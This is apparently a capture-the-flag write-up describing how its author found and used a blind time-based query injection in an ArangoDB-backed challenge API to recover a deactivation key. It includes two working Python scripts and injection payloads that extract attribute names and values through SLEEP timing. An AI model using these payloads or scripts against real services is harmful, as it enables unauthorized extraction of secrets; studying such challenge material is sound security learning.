X-Api-Key: '

And I did:

{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n    FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n    <other_query_lines_omitted>\n    RETURN doc"}

Nicely formatted:

FOR doc IN config
    FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'
    RETURN doc

I’ve found the injection point!

Now to complete my actual objective - stealing that API key. I figured I could string my user input into a SELECT command and just grab it, but certain keywords are blocked, and the error message isn’t that robust that it would display that information there.

So, we probably are doing blind SQL injection. I also noticed that the SLEEP keyword is allowed, so we might be able to craft a blind SQL injection payload to ‘guess’ individual characters of some data.

Problem is, we are blind, so I don’t know quite know what to look for, and ArangoDB is uncommon enough to not know the common places to look.

Took some time to learn more about ArangoDB from the docs:

“ArangoDB is a native multi-model, open-source database with flexible data models for documents, graphs, and key-values. Build high performance applications using a convenient SQL-like query language or JavaScript extensions. Use ACID transactions if you require them. Scale horizontally and vertically with a few mouse clicks.”

What is a document? That is what the error is dealing with.

“Documents in ArangoDB are JSON objects”
```json
Ex:
{
"_id" : "myusers/3456789",
"_key" : "3456789",
"_rev" : "14253647",
"firstName" : "John",
"lastName" : "Doe",
"address" : {
"street" : "Road To Nowhere 1",
"city" : "Gotham"
},
"hobbies" : [
{name: "swimming", howFavorite: 10},
{name: "biking", howFavorite: 6},
{name: "programming", howFavorite: 4}
]
}
```

All documents contain special attributes:
the document handle is stored as a string in _id 
Immutable once doc has been created
the document's primary key in _key
This value can be user-specified when creating the document
the document revision in _rev .
maintained by ArangoDB automatically


All docs are uniquely identified by their document handle per every collection:
A document handle uniquely identifies a document in the database. It is a string and consists of the collection's name and the document key ( _key attribute) separated by / . 

Keys----
A document key uniquely identifies a document in the collection it is stored in. It can and should be used by clients when specific documents are queried. 

The document key is stored in the _key attribute of each document. The key values are automatically indexed by ArangoDB in a collection's primary index. Thus looking up a document by its key is a fast operation. 

The _key value of a document is immutable once the document has been created.
By default, ArangoDB will auto-generate a document key if no _key attribute is specified, and use the user-specified _key otherwise.

The generated _key is guaranteed to be unique in the collection it was generated for. This also applies to sharded collections in a cluster. It can't be guaranteed that the _key is unique within a database or across a whole node or instance however. 

From the error message, we know we are looping on doc in a collection called config. We don’t know any attributes for doc, though, since we are blind. We do know, however, the system attributes that are present in every ArangoDB document.

I wrote some Python to use a blind SQL injection payload using SLEEP to guess every character of X attribute for doc:

import requests
import string
import time

url = "http://api.frostbit.app/api/v1/frostbitadmin/bot/bce8b3c3-426c-4edf-901f-27c889158ff5/deactivate?debug=1"
headers = {"X-API-Key": ""}
discovered_key = ""

field = "_id"
discovered_rev = ""
char_set = "abcdefghijklmnopqrstuvwxyz0123456789-"

for position in range(0, 45):
    for char in char_set:
        payload = f"' OR (SUBSTRING(doc.{field}, {position}, 1) == '{char}' ? SLEEP(5) : 0) OR '"
        headers["X-API-Key"] = payload


        # Record the start time
        start_time = time.time()
        response = requests.get(url, headers=headers)
        #print(response.text)
        elapsed_time = time.time() - start_time


        # If the request took longer, the condition was true
        if elapsed_time > 2.1:
            discovered_rev += char
            print(f"Discovered so far: {discovered_rev}")
            print("That query took this long: " + str(elapsed_time))

print(f"Full value of {field}: {discovered_rev}")


# BLIND SQL INJECTION PAYLOAD EXPLAINED---

# ' OR ---continuing the sql statement
# (SUBSTRING(doc._id, 0, 1) == 'c' ? SLEEP(5) : 0)    # get a 1-length long substring (aka, 1 char), starting at the 0th character (aka first), of the string "doc._id"
# if that first character of doc._id is c, then sleep for 5 seconds. Otherwise, return 0 and fail quickly

With that code, I was able to obtain the values for the system attributes I knew of:

_key: config
_id: config/config (which makes sense, since doc identifiers are 'collection name/document key')

Those are the only attribute names I know of. There’s got to be one named something like “X-api-key”. Tried guessing attribute names:

  • x_api_key : empty
  • x-api-key: empty
  • api-key: empty
  • apikey: empty
  • xapikey: empty

Ended up writing some new Python to enumerate all the attributes in a given document:

import requests
import string
import time

url = "http://api.frostbit.app/api/v1/frostbitadmin/bot/bce8b3c3-426c-4edf-901f-27c889158ff5/deactivate?debug=1"
headers = {"X-API-Key": ""} 

max_attributes = 20  # Maximum number of attributes to attempt discovery
max_attr_name_length = 64  # Maximum expected attribute name length

discovered_attributes = []

# Loop through attributes by index
for index in range(max_attributes):
    current_attribute = ""
    for position in range(1, max_attr_name_length + 1):  # Iterate over character positions
        found_char = False
        for char in string.ascii_letters + string.digits + "_":  # Adjust charset if needed
            # Blind SQLi payload using ATTRIBUTES() and NTH()
            payload = (
                f"' OR (SUBSTRING(NTH(ATTRIBUTES(doc), {index}), {position}, 1) == '{char}' ? SLEEP(2) : 0) OR '"
            )
            headers["X-API-Key"] = payload

            # Measure response time
            start_time = time.time()
            response = requests.get(url, headers=headers)
            elapsed_time = time.time() - start_time


            if elapsed_time > 2:
                current_attribute += char
                print(f"Discovered so far (index {index}): {current_attribute}")
                found_char = True
                break


        # If no character was found, the attribute name has been fully discovered
        if not found_char:
            break


    # If a valid attribute name is discovered, add it to the list
    if current_attribute:
        discovered_attributes.append(current_attribute)
        print(f"Discovered attribute: {current_attribute}")
    else:
        # Stop if no more attributes are found
        break


print(f"All discovered attributes: {discovered_attributes}")

That code allowed me to discover the attribute name I needed - deactivate_api_key. Well, actually it returned eactivate_aii_kek, but I deduced it from there.

I used my original Python code to blind SQLi the value of that attribute, but was getting jumbled outputs.

I tweaked my code using different sleep values and character sets, getting increasingly better values:

  • abe7a6ad-715e-d4eI6ar-90_1bA,-ci9R27,9aj596`4fB9’1
  • avbes7ao6aedi-7g15e-e4ec6ac-9a01-b-c92799a89674f7917
  • abhe7an6ads-715e9-4e67a-901be-c9h279ah96v4f9y1

Until I finally got the full key value: abe7a6ad-715e-4e6a-901b-c9279a964f91

Using that key on the /deactivate endpoint via X-Api-Key caused the ransomware to deactivate, and this challenge was solved!

Written on December 23, 2024